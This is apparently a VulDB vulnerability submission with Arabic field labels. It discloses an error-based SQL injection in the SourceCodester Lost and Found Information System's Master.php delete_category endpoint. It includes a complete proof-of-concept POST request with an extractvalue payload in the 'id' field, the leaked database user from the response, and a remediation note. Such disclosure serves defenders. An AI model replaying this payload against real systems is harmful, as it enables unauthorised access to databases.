| عنوان | SourceCodester Lost and Found Information System HTTP POST REQUEST Master.php sql vulnerability |
|---|
| الوصف | I find a SQL injection vulnerability in the SourceCodester Lost and Found Information System(https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)
This affect /classes/Master.php?f=delete_category:
POST /php-lfis/classes/Master.php?f=delete_category HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------291530209222137902962820473916
Content-Length: 1091
Origin: http://localhost
Connection: close
Referer: http://localhost/php-lfis/admin/?page=items/manage_item
Cookie: PHPSESSID=0mct2fkncfd5or5crbqj5o62he
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="id"
1' or (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="category_id"
2
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="fullname"
1111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="title"
111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="contact"
111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="description"
1111
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------291530209222137902962820473916
Content-Disposition: form-data; name="status"
0
-----------------------------291530209222137902962820473916--
His return package is “{"status":"failed","error":"XPATH syntax error: '~admin@localhost~'"}”
The presence of '~ admin@localhost ~' indicates that our code, specifically the select user() query, was executed successfully, revealing an SQL error injection vulnerability.
The code "DELETE FROM `category_list` where id = '{$id}'" has a vulnerability because it does not employ sufficient filtering on the manipulable 'id' parameter. This could make it a target for potential SQL injection attacks. To protect against this, it is advisable to use the mysqli_real_escape_string() function to ensure the 'id' parameter is secure from malicious activities. |
|---|
| المصدر | ⚠️ https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html |
|---|
| المستخدم | Smallblack (UID 51330) |
|---|
| ارسال | 22/07/2023 05:53 PM (3 سنوات منذ) |
|---|
| الاعتدال | 22/07/2023 08:28 PM (3 hours later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 235201 [SourceCodester Lost and Found Information System 1.0 HTTP POST Request Master.php?f=delete_category معرف حقن SQL] |
|---|
| النقاط | 20 |
|---|